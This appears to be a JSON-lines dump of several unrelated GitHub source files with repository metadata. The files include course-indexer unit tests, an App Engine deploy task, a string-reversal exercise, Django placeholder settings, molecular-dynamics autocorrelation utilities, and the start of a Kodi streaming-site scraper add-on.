CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(indexed_courses[0][\"course_runs\"], [])\n\n def test_indexers_courses_get_es_documents_no_enrollment_end(self):\n \"\"\"\n Course runs with no end of enrollment date should get their end date as date of end\n of enrollment.\n \"\"\"\n course = CourseFactory()\n course_run = CourseRunFactory(direct_course=course, enrollment_end=None)\n course.extended_object.publish(\"en\")\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(len(indexed_courses[0][\"course_runs\"]), 1)\n self.assertEqual(\n indexed_courses[0][\"course_runs\"][0][\"enrollment_end\"], course_run.end\n )\n\n def test_indexers_courses_get_es_documents_no_end(self):\n \"\"\"\n Course runs with no end date should be on-going for ever.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(direct_course=course, end=None)\n course.extended_object.publish(\"en\")\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(len(indexed_courses[0][\"course_runs\"]), 1)\n self.assertEqual(indexed_courses[0][\"course_runs\"][0][\"end\"].year, 9999)\n\n def test_indexers_courses_get_es_documents_no_end_no_enrollment_end(self):\n \"\"\"\n Course runs with no end date and no date of end of enrollment should be open for ever.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(direct_course=course, end=None, enrollment_end=None)\n course.extended_object.publish(\"en\")\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(len(indexed_courses[0][\"course_runs\"]), 1)\n self.assertEqual(indexed_courses[0][\"course_runs\"][0][\"end\"].year, 9999)\n self.assertEqual(\n indexed_courses[0][\"course_runs\"][0][\"enrollment_end\"].year, 9999\n )\n\n def test_indexers_courses_get_es_document_no_image_cover_picture(self):\n \"\"\"\n ES document is created without errors when a cover image for the course is\n actually a Picture instance without an image on it.\n \"\"\"\n # Create the example course to index and get hold of its course_cover placeholder\n course = CourseFactory(should_publish=True)\n course_cover_placeholder = (\n course.extended_object.get_public_object()\n .placeholders.filter(slot=\"course_cover\")\n .first()\n )\n # Make sure we associate an image-less picture with the course through\n # the cover placeholder\n add_plugin(course_cover_placeholder, SimplePicturePlugin, \"en\", picture=None)\n course.extended_object.publish(\"en\")\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(\n indexed_courses[0][\"_id\"],\n str(course.extended_object.get_public_object().id),\n )\n self.assertEqual(indexed_courses[0][\"cover_image\"], {})\n\n def test_indexers_courses_get_es_document_no_image_icon_picture(self):\n \"\"\"\n ES document is created without errors when a icon image for the course is\n actually a Picture instance without an image on it.\n \"\"\"\n # Create the example course to index and get hold of its course_icons placeholder\n course = CourseFactory(should_publish=True)\n course_icons_placeholder = course.extended_object.placeholders.filter(\n slot=\"course_icons\"\n ).first()\n # Create a category and add it to the course on the icons placeholder\n category = CategoryFactory(should_publish=True, color=\"#654321\")\n add_plugin(\n course_icons_placeholder,\n CategoryPlugin,\n \"en\",\n **{\"page\": category.extended_object}\n )\n course.extended_object.publish(\"en\")\n # Make sure we associate an image-less picture with the category through\n # the icon placeholder\n category_icon_placeholder = category.extended_object.placeholders.filter(\n slot=\"icon\"\n ).first()\n add_plugin(category_icon_placeholder, SimplePicturePlugin, \"en\", picture=None)\n category.extended_object.publish(\"en\")\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(\n indexed_courses[0][\"_id\"],\n str(course.extended_object.get_public_object().id),\n )\n self.assertEqual(\n indexed_courses[0][\"icon\"],\n {\"en\": {\"color\": \"#654321\", \"title\": category.extended_object.get_title()}},\n )\n\n def test_indexers_courses_get_es_documents_language_fallback(self):\n \"\"\"Absolute urls should be computed as expected with language fallback.\"\"\"\n CourseFactory(should_publish=True, page_title={\"fr\": \"un titre court français\"})\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n\n self.assertEqual(\n indexed_courses[0][\"absolute_url\"],\n {\n \"en\": \"/en/un-titre-court-francais/\",\n \"fr\": \"/fr/un-titre-court-francais/\",\n },\n )\n\n def test_indexers_courses_get_es_document_for_course_related_names_related_unpublished(\n self,\n ):\n \"\"\"\n When related objects are unpublished in one language, that language should not be taken\n into account to build related object names.\n \"\"\"\n # Create a course with related pages in both english and french but only\n # published in one language\n category = CategoryFactory(\n page_title={\n \"en\": \"english category title\",\n \"fr\": \"titre catégorie français\",\n },\n should_publish=True,\n )\n category.extended_object.unpublish(\"fr\")\n\n organization = OrganizationFactory(\n page_title={\n \"en\": \"english organization title\",\n \"fr\": \"titre organisation français\",\n },\n should_publish=True,\n )\n organization.extended_object.unpublish(\"fr\")\n\n person = PersonFactory(\n page_title={\"en\": \"Brian\", \"fr\": \"François\"}, should_publish=True\n )\n person.extended_object.unpublish(\"fr\")\n\n course = CourseFactory(\n fill_categories=[category],\n fill_organizations=[organization],\n fill_team=[person],\n page_title={\n \"en\": \"an english course title\",\n \"fr\": \"un titre cours français\",\n },\n should_publish=True,\n )\n\n course_document = CoursesIndexer.get_es_document_for_course(course)\n self.assertEqual(\n course_document[\"organizations_names\"],\n {\"en\": [\"english organization title\"]},\n )\n self.assertEqual(\n course_document[\"organization_highlighted\"],\n {\"en\": \"english organization title\"},\n )\n self.assertEqual(\n course_document[\"categories_names\"], {\"en\": [\"english category title\"]}\n )\n self.assertEqual(course_document[\"persons_names\"], {\"en\": [\"Brian\"]})\n\n def test_indexers_courses_get_es_document_for_course_related_names_course_unpublished(\n self,\n ):\n \"\"\"\n When a course is unpublished in one language, but it has related objects that are still\n published in this language, should or shouldn't we use this language's content for the\n related objects when building the course glimpse?\n\n This choice is controversial and I had to write these tests to fully understand it. So I\n propose to commit them to keep this memory.\n\n Note: We could argue in the future that a course glimpse should be built with content\n only in the same language and not with \"as few fallback languages as possible, using\n available content in each language\".\n \"\"\"\n # Create a course with related pages in both english and french but only\n # published in one language\n category = CategoryFactory(\n page_title={\n \"en\": \"english category title\",\n \"fr\": \"titre catégorie français\",\n },\n should_publish=True,\n )\n\n organization_title = {\n \"en\": \"english organization title\",\n \"fr\": \"titre organisation français\",\n }\n organization = OrganizationFactory(\n page_title=organization_title, should_publish=True\n )\n\n person = PersonFactory(\n page_title={\"en\": \"Brian\", \"fr\": \"François\"}, should_publish=True\n )\n\n course = CourseFactory(\n fill_categories=[category],\n fill_organizations=[organization],\n fill_team=[person],\n page_title={\n \"en\": \"an english course title\",\n \"fr\": \"un titre cours français\",\n },\n should_publish=True,\n )\n course.extended_object.unpublish(\"fr\")\n\n course_document = CoursesIndexer.get_es_document_for_course(course)\n\n self.assertEqual(\n course_document[\"organizations_names\"],\n {\n \"en\": [\"english organization title\"],\n \"fr\": [\"titre organisation français\"],\n },\n )\n self.assertEqual(\n course_document[\"organization_highlighted\"], organization_title\n )\n self.assertEqual(\n course_document[\"categories_names\"],\n {\"en\": [\"english category title\"], \"fr\": [\"titre catégorie français\"]},\n )\n self.assertEqual(\n course_document[\"persons_names\"], {\"en\": [\"Brian\"], \"fr\": [\"François\"]}\n )\n\n def test_indexers_courses_get_es_document_for_course_not_published(self):\n \"\"\"\n A course indexed with no published title shoud not be listed.\n \"\"\"\n course = CourseFactory(\n page_title={\"en\": \"a course\", \"fr\": \"un cours\"}, should_publish=True\n )\n\n course_document = CoursesIndexer.get_es_document_for_course(course)\n self.assertTrue(course_document[\"is_listed\"])\n\n # Only after unpublishing all languages, the course stops being listed\n course.extended_object.unpublish(\"en\")\n course_document = CoursesIndexer.get_es_document_for_course(course)\n self.assertTrue(course_document[\"is_listed\"])\n\n course.extended_object.unpublish(\"fr\")\n course_document = CoursesIndexer.get_es_document_for_course(course)\n self.assertFalse(course_document[\"is_listed\"])\n\n # format_es_object_for_api\n\n def test_indexers_courses_format_es_object_for_api(self):\n \"\"\"\n Make sure format_es_object_for_api returns a properly formatted course\n \"\"\"\n es_course = {\n \"_id\": 93,\n \"_source\": {\n \"absolute_url\": {\"en\": \"campo-qui-format-do\"},\n \"categories\": [43, 86],\n \"code\": \"abc123\",\n \"course_runs\": [],\n \"cover_image\": {\"en\": \"cover_image.jpg\"},\n \"duration\": {\"en\": \"6 months\"},\n \"effort\": {\"en\": \"3 hours\"},\n \"icon\": {\"en\": \"icon.jpg\"},\n \"introduction\": {\"en\": \"introductio est\"},\n \"organization_highlighted\": {\"en\": \"Org 84\"},\n \"organization_highlighted_cover_image\": {\"en\": \"org_cover_image.jpg\"},\n \"organizations\": [42, 84],\n \"organizations_names\": {\"en\": [\"Org 42\", \"Org 84\"]},\n \"title\": {\"en\": \"Duis eu arcu erat\"},\n },\n \"fields\": {\n \"state\": [\n {\"priority\": 0, \"date_time\": \"2019-03-17T21:25:52.179667+00:00\"}\n ]\n },\n }\n self.assertEqual(\n CoursesIndexer.format_es_object_for_api(es_course, \"en\"),\n {\n \"id\": 93,\n \"absolute_url\": \"campo-qui-format-do\",\n \"categories\": [43, 86],\n \"code\": \"abc123\",\n \"course_runs\": [],\n \"cover_image\": \"cover_image.jpg\",\n \"duration\": \"6 months\",\n \"effort\": \"3 hours\",\n \"icon\": \"icon.jpg\",\n \"introduction\": \"introductio est\",\n \"organization_highlighted\": \"Org 84\",\n \"organization_highlighted_cover_image\": \"org_cover_image.jpg\",\n \"organizations\": [42, 84],\n \"title\": \"Duis eu arcu erat\",\n \"state\": CourseState(\n 0, datetime(2019, 3, 17, 21, 25, 52, 179667, pytz.utc)\n ),\n },\n )\n\n def test_indexers_courses_format_es_object_for_api_no_organization(self):\n \"\"\"\n A course that has no organization and was indexed should not raise 500 errors (although\n this should not happen if courses are correctly moderated).\n \"\"\"\n es_course = {\n \"_id\": 93,\n \"_source\": {\n \"absolute_url\": {\"en\": \"campo-qui-format-do\"},\n \"categories\": [43, 86],\n \"code\": \"abc123\",\n \"course_runs\": [],\n \"cover_image\": {\"en\": \"cover_image.jpg\"},\n \"duration\": {\"en\": \"3 weeks\"},\n \"effort\": {\"en\": \"10 minutes\"},\n \"icon\": {\"en\": \"icon.jpg\"},\n \"introduction\": {\"en\": \"introductio est\"},\n \"organization_highlighted\": None,\n \"organization_highlighted_cover_image\": {},\n \"organizations\": [],\n \"organizations_names\": {},\n \"title\": {\"en\": \"Duis eu arcu erat\"},\n },\n \"fields\": {\n \"state\": [\n {\"priority\": 0, \"date_time\": \"2019-03-17T21:25:52.179667+00:00\"}\n ]\n },\n }\n self.assertEqual(\n CoursesIndexer.format_es_object_for_api(es_course, \"en\"),\n {\n \"id\": 93,\n \"absolute_url\": \"campo-qui-format-do\",\n \"categories\": [43, 86],\n \"code\": \"abc123\",\n \"course_runs\": [],\n \"cover_image\": \"cover_image.jpg\",\n \"duration\": \"3 weeks\",\n \"effort\": \"10 minutes\",\n \"icon\": \"icon.jpg\",\n \"introduction\": \"introductio est\",\n \"organization_highlighted\": None,\n \"organization_highlighted_cover_image\": None,\n \"organizations\": [],\n \"title\": \"Duis eu arcu erat\",\n \"state\": CourseState(\n 0, datetime(2019, 3, 17, 21, 25, 52, 179667, pytz.utc)\n ),\n },\n )\n\n def test_indexers_courses_format_es_object_for_api_no_icon(self):\n \"\"\"\n A course that has no icon and was indexed should not raise any errors.\n \"\"\"\n es_course = {\n \"_id\": 93,\n \"_source\": {\n \"absolute_url\": {\"en\": \"campo-qui-format-do\"},\n \"categories\": [43, 86],\n \"code\": \"abc123\",\n \"course_runs\": [],\n \"cover_image\": {\"en\": \"cover_image.jpg\"},\n \"duration\": {\"en\": \"N/A\"},\n \"effort\": {\"en\": \"N/A\"},\n \"icon\": {},\n \"introduction\": {\"en\": \"introductio est\"},\n \"organization_highlighted\": {\"en\": \"Org 84\"},\n \"organization_highlighted_cover_image\": {\"en\": \"org_cover_image.png\"},\n \"organizations\": [42, 84],\n \"organizations_names\": {\"en\": [\"Org 42\", \"Org 84\"]},\n \"title\": {\"en\": \"Duis eu arcu erat\"},\n },\n \"fields\": {\n \"state\": [\n {\"priority\": 0, \"date_time\": \"2019-03-17T21:25:52.179667+00:00\"}\n ]\n },\n }\n self.assertEqual(\n CoursesIndexer.format_es_object_for_api(es_course, \"en\"),\n {\n \"id\": 93,\n \"absolute_url\": \"campo-qui-format-do\",\n \"categories\": [43, 86],\n \"code\": \"abc123\",\n \"course_runs\": [],\n \"cover_image\": \"cover_image.jpg\",\n \"duration\": \"N/A\",\n \"effort\": \"N/A\",\n \"icon\": None,\n \"introduction\": \"introductio est\",\n \"organization_highlighted\": \"Org 84\",\n \"organization_highlighted_cover_image\": \"org_cover_image.png\",\n \"organizations\": [42, 84],\n \"title\": \"Duis eu arcu erat\",\n \"state\": CourseState(\n 0, datetime(2019, 3, 17, 21, 25, 52, 179667, pytz.utc)\n ),\n },\n )\n\n def test_indexers_courses_format_es_object_for_api_no_cover(self):\n \"\"\"\n A course that has no cover image and was indexed should not raise any errors.\n \"\"\"\n es_course = {\n \"_id\": 93,\n \"_source\": {\n \"absolute_url\": {\"en\": \"campo-qui-format-do\"},\n \"categories\": [43, 86],\n \"code\": \"abc123\",\n \"course_runs\": [],\n \"cover_image\": {},\n \"duration\": {\"en\": \"N/A\"},\n \"effort\": {\"en\": \"N/A\"},\n \"icon\": {\"en\": \"icon.jpg\"},\n \"introduction\": {\"en\": \"introductio est\"},\n \"organization_highlighted\": {\"en\": \"Org 42\"},\n \"organization_highlighted_cover_image\": {},\n \"organizations\": [42, 84],\n \"organizations_names\": {\"en\": [\"Org 42\", \"Org 84\"]},\n \"title\": {\"en\": \"Duis eu arcu erat\"},\n },\n \"fields\": {\n \"state\": [\n {\"priority\": 0, \"date_time\": \"2019-03-17T21:25:52.179667+00:00\"}\n ]\n },\n }\n self.assertEqual(\n CoursesIndexer.format_es_object_for_api(es_course, \"en\"),\n {\n \"id\": 93,\n \"absolute_url\": \"campo-qui-format-do\",\n \"categories\": [43, 86],\n \"code\": \"abc123\",\n \"course_runs\": [],\n \"cover_image\": None,\n \"duration\": \"N/A\",\n \"effort\": \"N/A\",\n \"icon\": \"icon.jpg\",\n \"introduction\": \"introductio est\",\n \"organization_highlighted\": \"Org 42\",\n \"organization_highlighted_cover_image\": None,\n \"organizations\": [42, 84],\n \"title\": \"Duis eu arcu erat\",\n \"state\": CourseState(\n 0, datetime(2019, 3, 17, 21, 25, 52, 179667, pytz.utc)\n ),\n },\n )\n\n def test_indexers_courses_format_es_document_for_autocomplete(self):\n \"\"\"\n Make sure format_es_document_for_autocomplete returns a properly\n formatted course suggestion.\n \"\"\"\n es_course = {\n \"_id\": 93,\n \"_source\": {\n \"absolute_url\": {\"en\": \"/en/campo-qui-format-do\"},\n \"categories\": [43, 86],\n \"cover_image\": {\"en\": \"cover_image.jpg\"},\n \"icon\": {\"en\": \"icon.jpg\"},\n \"organizations\": [42, 84],\n \"organizations_names\": {\"en\": [\"Org 42\", \"Org 84\"]},\n \"title\": {\"en\": \"Duis eu arcu erat\"},\n },\n \"fields\": {\n \"state\": [\n {\"priority\": 0, \"date_time\": \"2019-03-17T21:25:52.179667+00:00\"}\n ]\n },\n }\n self.assertEqual(\n CoursesIndexer.format_es_document_for_autocomplete(es_course, \"en\"),\n {\n \"absolute_url\": \"/en/campo-qui-format-do\",\n \"id\": 93,\n \"kind\": \"courses\",\n \"title\": \"Duis eu arcu erat\",\n },\n )\n\n def test_indexers_courses_get_es_documents_catalog_visibility_hidden(\n self,\n ):\n \"\"\"\n A course run with `hidden` on catalog visibility should not be indexed.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(\n direct_course=course,\n catalog_visibility=CourseRunCatalogVisibility.HIDDEN,\n )\n self.assertTrue(course.extended_object.publish(\"en\"))\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(indexed_courses[0][\"course_runs\"], [])\n\n def test_indexers_courses_get_es_documents_catalog_visibility_course_only(\n self,\n ):\n \"\"\"\n A course run with `course_only` on catalog visibility should not be indexed.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(\n direct_course=course,\n catalog_visibility=CourseRunCatalogVisibility.COURSE_ONLY,\n )\n self.assertTrue(course.extended_object.publish(\"en\"))\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(indexed_courses[0][\"course_runs\"], [])\n\n def test_indexers_courses_get_es_documents_catalog_visibility_course_and_search(\n self,\n ):\n \"\"\"\n A course run with `course_and_search` on catalog visibility should be indexed.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(\n direct_course=course,\n catalog_visibility=CourseRunCatalogVisibility.COURSE_AND_SEARCH,\n )\n self.assertTrue(course.extended_object.publish(\"en\"))\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(len(indexed_courses[0][\"course_runs\"]), 1)\n\n def test_indexers_courses_get_es_documents_catalog_visibility_hidden_and_course_and_search(\n self,\n ):\n \"\"\"\n A course with one run with `hidden` and another with `course_and_search` on catalog\n visibility should only have a single run on the index.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(\n direct_course=course,\n catalog_visibility=CourseRunCatalogVisibility.HIDDEN,\n )\n CourseRunFactory(\n direct_course=course,\n catalog_visibility=CourseRunCatalogVisibility.COURSE_AND_SEARCH,\n )\n self.assertTrue(course.extended_object.publish(\"en\"))\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(len(indexed_courses[0][\"course_runs\"]), 1)\n\n def test_indexers_courses_get_es_documents_catalog_visibility_one_each(self):\n \"\"\"\n A course with 3 runs. A run with `hidden`, another with `course_and_search` and a last\n one with `course_only` on the catalog visibility should have a single run on the index.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(\n direct_course=course,\n catalog_visibility=CourseRunCatalogVisibility.HIDDEN,\n )\n CourseRunFactory(\n direct_course=course,\n catalog_visibility=CourseRunCatalogVisibility.COURSE_ONLY,\n )\n CourseRunFactory(\n direct_course=course,\n catalog_visibility=CourseRunCatalogVisibility.COURSE_AND_SEARCH,\n )\n self.assertTrue(course.extended_object.publish(\"en\"))\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(len(indexed_courses[0][\"course_runs\"]), 1)\n\n def test_indexers_courses_get_es_documents_course_glimpse_organization_menu_title(\n self,\n ):\n \"\"\"\n Linked organizations should display the indexed acronym if the menu_title\n is filled.\n \"\"\"\n menu_title = \"MTO\"\n\n organization_page = create_page(\n \"My Test Organization\",\n \"richie/single_column.html\",\n \"en\",\n menu_title=menu_title,\n )\n organization = OrganizationFactory(\n extended_object=organization_page, should_publish=True\n )\n\n course = CourseFactory(\n fill_organizations=[organization],\n should_publish=True,\n )\n\n course_document = CoursesIndexer.get_es_document_for_course(course)\n\n # The organization should display the menu title and not the title itself\n self.assertEqual(\n course_document[\"organization_highlighted\"], {\"en\": menu_title}\n )\n self.assertNotEqual(\n course_document[\"organization_highlighted\"],\n {\"en\": course.extended_object.get_title()},\n )\n","repo_name":"openfun/richie","sub_path":"tests/apps/search/test_indexers_courses.py","file_name":"test_indexers_courses.py","file_ext":"py","file_size_in_byte":44809,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"37"} +{"seq_id":"7054490851","text":"import re\n\nfrom invoke import task\nfrom invoke.context import Context\n\n\n@task\ndef run(ctx: Context) -> None:\n flags = [\"--timeout\", \"0\", \"--chdir\", \"./newsletter/\"]\n ctx.run(f\"gunicorn {' '.join(flags)} app:app\", pty=True)\n\n\n@task\ndef deploy(ctx: Context) -> None:\n # Build the Docker image and deploy it to Cloud Run.\n gcp_project = \"axleos-blog-newsletter\"\n print(\"Deploying to App Engine...\")\n git_branch = ctx.run(\"git rev-parse --abbrev-ref HEAD\", hide=\"stdout\").stdout.strip().lower()[:53]\n gcloud_compat_git_branch = re.sub(r\"[^a-z0-9-]\", \"\", git_branch)\n git_short_hash = ctx.run(\"git rev-parse --short HEAD\", hide=\"stdout\").stdout.strip().lower()\n version = f\"{git_short_hash}-{gcloud_compat_git_branch}\"[:35]\n ctx.run(f\"gcloud app deploy app.yaml --project {gcp_project} --version {version}\")\n\n\nif __name__ == \"__main__\":\n # PT: This entry point is primarily useful for using Pycharm breakpoints, as they're cumbersome when running\n # gunicorn via an invoke task.\n from wsgiref.simple_server import make_server\n\n from app import app\n\n with make_server(\"\", 8000, app) as httpd:\n print(\"Serving...\")\n # Serve until process is killed\n httpd.serve_forever()\n","repo_name":"codyd51/axleos-blog-newsletter","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7834881530","text":"# 344. Reverse String My Submissions QuestionEditorial Solution\n# Total Accepted: 18485 Total Submissions: 31451 Difficulty: Easy\n# Write a function that takes a string as input and returns the string reversed.\n# \n# Example:\n# Given s = \"hello\", return \"olleh\".\n# \n# Subscribe to see which companies asked this question\ndef reverseString(s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n if len(s) <= 1:\n return s\n \n l = list(s)\n\n for i,char in enumerate(l):\n if i >= len(l) / 2:\n return ''.join(l)\n tmpchar = l[-(i+1)]\n l[-(i+1)] = l[i]\n l[i] = tmpchar\n \n return ''.join(l)\n \ndef test():\n assert reverseString(\"hello\") == \"olleh\"\n assert reverseString(\"he\") == \"eh\"\n assert reverseString(\"\") == \"\"\n assert reverseString(\"abcd\") == \"dcba\"\n","repo_name":"yihanc/LC","sub_path":"PY/tests/test_sample.py","file_name":"test_sample.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39651370225","text":"# This module host settings which needs to be defined even if\n# not used\n\nCMS_SEGMENT_KEY = None\n\n# enterprise.views tries to access settings.ECOMMERCE_PUBLIC_URL_ROOT,\nECOMMERCE_PUBLIC_URL_ROOT = None\n\n# This needs to be defined even if Xqueue is not needed\nXQUEUE_INTERFACE = {\"url\": None, \"django_auth\": None}\n\n# Certifacates need this\nFACEBOOK_APP_ID = None\n\n# The common.py file includes the statements\n# CREDENTIALS_INTERNAL_SERVICE_URL = None\n# CREDENTIALS_PUBLIC_SERVICE_URL = None\n# But for some reason if we import the code the values are different:\n# >>> from lms.envs import common\n# >>> common.CREDENTIALS_PUBLIC_SERVICE_URL, common.CREDENTIALS_INTERNAL_SERVICE_URL\n# ('http://localhost:8008', 'http://localhost:8008')\nCREDENTIALS_INTERNAL_SERVICE_URL = None\nCREDENTIALS_PUBLIC_SERVICE_URL = None\n","repo_name":"Abstract-Tech/derex.runner","sub_path":"docker-definition/derex_django/derex_django/settings/default/placeholders.py","file_name":"placeholders.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"31698826314","text":"from pyxmolpp2 import calc_autocorr_order_2\nfrom process_utils.fit import repeated_fit_auto_correlation, __multi_exp_f\nfrom process_utils.plot import add_relpath_to_top_corner, settings_plot, get_autocorr_graph_label\nfrom glob import glob\nfrom tqdm import tqdm\nimport os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\n\n\ndef calc_and_save_acorr(path_to_vector_csv_files,\n dt_ns,\n acorr_func_limit=-1,\n thumbling_time=None,\n acorr_func=calc_autocorr_order_2,\n out_dir=\".\"):\n index = None\n for path_to_vector_file in tqdm(sorted(path_to_vector_csv_files)):\n\n out_name = os.path.basename(path_to_vector_file).split(\"_\")[0] + \".csv\"\n vectors_1 = pd.read_csv(path_to_vector_file).values\n acorr = acorr_func(vectors_1, limit=acorr_func_limit)\n\n if index is None:\n index = len(acorr)\n time_ns = np.linspace(0, index * dt_ns, index, endpoint=False)\n\n if (thumbling_time is not None) and (thumbling_time > 0):\n acorr *= np.exp(-time_ns / thumbling_time)\n\n os.makedirs(out_dir, exist_ok=True)\n pd.DataFrame({\n \"time_ns\": time_ns,\n \"acorr\": acorr\n }).to_csv(os.path.join(out_dir, out_name), index=False)\n\n\ndef fit_and_save_acorr_func(path_to_acorr_files,\n bounds,\n rname_list,\n p0=None,\n lag_spacing=\"log\",\n n_lag_points=None,\n output_directory=\"./\",\n limit_ns=None):\n path_to_ccr_csv_files = sorted(glob(os.path.join(path_to_acorr_files, \"*.csv\")))\n for bound in bounds:\n tau_table = pd.DataFrame()\n for acorr_corr_file in tqdm(path_to_ccr_csv_files, desc=output_directory):\n df = pd.read_csv(acorr_corr_file)\n if limit_ns:\n df = df[df[\"time_ns\"] <= limit_ns]\n\n time_ns, acorr = df[\"time_ns\"].values, df[\"acorr\"].values\n\n if lag_spacing == \"log\":\n lag_index = np.unique(\n np.logspace(0, int(np.log10(time_ns.size)), n_lag_points, endpoint=False).astype(int))\n acorr = np.take(acorr, lag_index)\n time_ns = np.take(time_ns, lag_index)\n\n popt = repeated_fit_auto_correlation(acorr, time_ns, bound, p0)\n name = os.path.splitext(os.path.basename(acorr_corr_file))[0]\n amplitudes = popt[::2]\n taus = popt[1::2]\n order = (len(bound[0]) + 1) // 2\n\n rid = int(name.split(\"_\")[0])\n\n popt_dict = {\n 'rId': rid,\n 'rName': rname_list[rid - 1],\n 'limit_ns': limit_ns\n }\n\n popt_dict.update(\n {(\"exp-%d-a%d\" % (order, i + 1)): a for i, a in enumerate(amplitudes)}\n )\n popt_dict.update(\n {(\"exp-%d-tau%d\" % (order, i + 1)): tau for i, tau in enumerate(taus)}\n )\n\n tau_table = pd.concat([tau_table, pd.DataFrame(popt_dict, index=[0])])\n\n tau_table.sort_values(by=['rId'], inplace=True)\n os.makedirs(output_directory, exist_ok=True)\n tau_table.to_csv(os.path.join(output_directory, 'tau_%d_exp.csv' % order), index=False)\n\n\ndef plot_and_save_acorr_with_fit(path_to_fit_csv: str,\n path_to_acorr_csv: str,\n output_directory: str,\n ) -> None:\n os.makedirs(output_directory, exist_ok=True)\n exp_order_acorrs_csv = glob(os.path.join(path_to_fit_csv, \"*.csv\"))\n for tau_order_fit in sorted(exp_order_acorrs_csv):\n name = os.path.basename(tau_order_fit).split(\".\")[0]\n with PdfPages(os.path.join(output_directory, name + \".pdf\")) as pdf:\n csv_fit = os.path.join(path_to_fit_csv, name + \".csv\")\n fit = pd.read_csv(csv_fit)\n for (ind, (_, fit_line)) in enumerate(tqdm(fit.iterrows(), desc=\"plot\"), 3):\n acorr_file = \"{}/{:02d}.csv\".format(path_to_acorr_csv, int(fit_line[\"rId\"]))\n acorr_df = pd.read_csv(acorr_file)\n time, acorr = acorr_df[\"time_ns\"], acorr_df[\"acorr\"]\n graph_label = get_autocorr_graph_label(fit_line)\n fig, ax = settings_plot(graph_label)\n ax.set_title(\"Autocorrelation {rid} {rname}\".format(\n rid=fit_line[\"rId\"],\n rname=fit_line[\"rName\"],\n ))\n\n # ax.set_xlim(-3, 400)\n ax.set_ylim(-0.1, 1.1)\n ax.grid(color=\"grey\", alpha=0.3)\n\n amplitude = fit_line.filter(like='-a')\n tau = fit_line.filter(like='-tau')\n ax.plot(time, acorr)\n ax.plot(time, __multi_exp_f(time, amplitude,\n tau, C=0))\n\n ax.axvline(fit_line[\"limit_ns\"], color=\"palegreen\", ls=\"--\")\n\n add_relpath_to_top_corner(fig)\n pdf.savefig(fig)\n plt.close(fig)\n","repo_name":"OOLebedenko/nucleosome-trajectory-processing","sub_path":"15N_relaxation_rates/scripts/process_utils/save_utils.py","file_name":"save_utils.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32692673789","text":"# -*- coding: utf-8 -*-\n# vStream https://github.com/Kodi-vStream/venom-xbmc-addons\nreturn False\nimport re\n\nfrom resources.lib.gui.hoster import cHosterGui\nfrom resources.lib.gui.gui import cGui\nfrom resources.lib.handler.inputParameterHandler import cInputParameterHandler\nfrom resources.lib.handler.outputParameterHandler import cOutputParameterHandler\nfrom resources.lib.handler.requestHandler import cRequestHandler\nfrom resources.lib.parser import cParser\nfrom resources.lib.util import cUtil, QuotePlus, Noredirection\nfrom resources.lib.comaddon import progress\n\nUA = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'\n\nSITE_IDENTIFIER = 'film_illimit_fr'\nSITE_NAME = 'Film illimité'\nSITE_DESC = 'Films, Séries HD en streaming'\n\nURL_MAIN = 'https://www.official-film-illimite.to/'\n\nMOVIE_NEWS = (URL_MAIN, 'showMovies')\nMOVIE_MOVIE = (URL_MAIN + 'films/', 'showMovies')\nMOVIE_HD = (URL_MAIN + 'films/streaming-720p-streaming-1080p/', 'showMovies')\nMOVIE_GENRES = (True, 'showGenres')\nMOVIE_ANNEES = (True, 'showYears')\n\nURL_SEARCH = (URL_MAIN + '?s=', 'showMovies')\nURL_SEARCH_MOVIES = (URL_SEARCH[0], 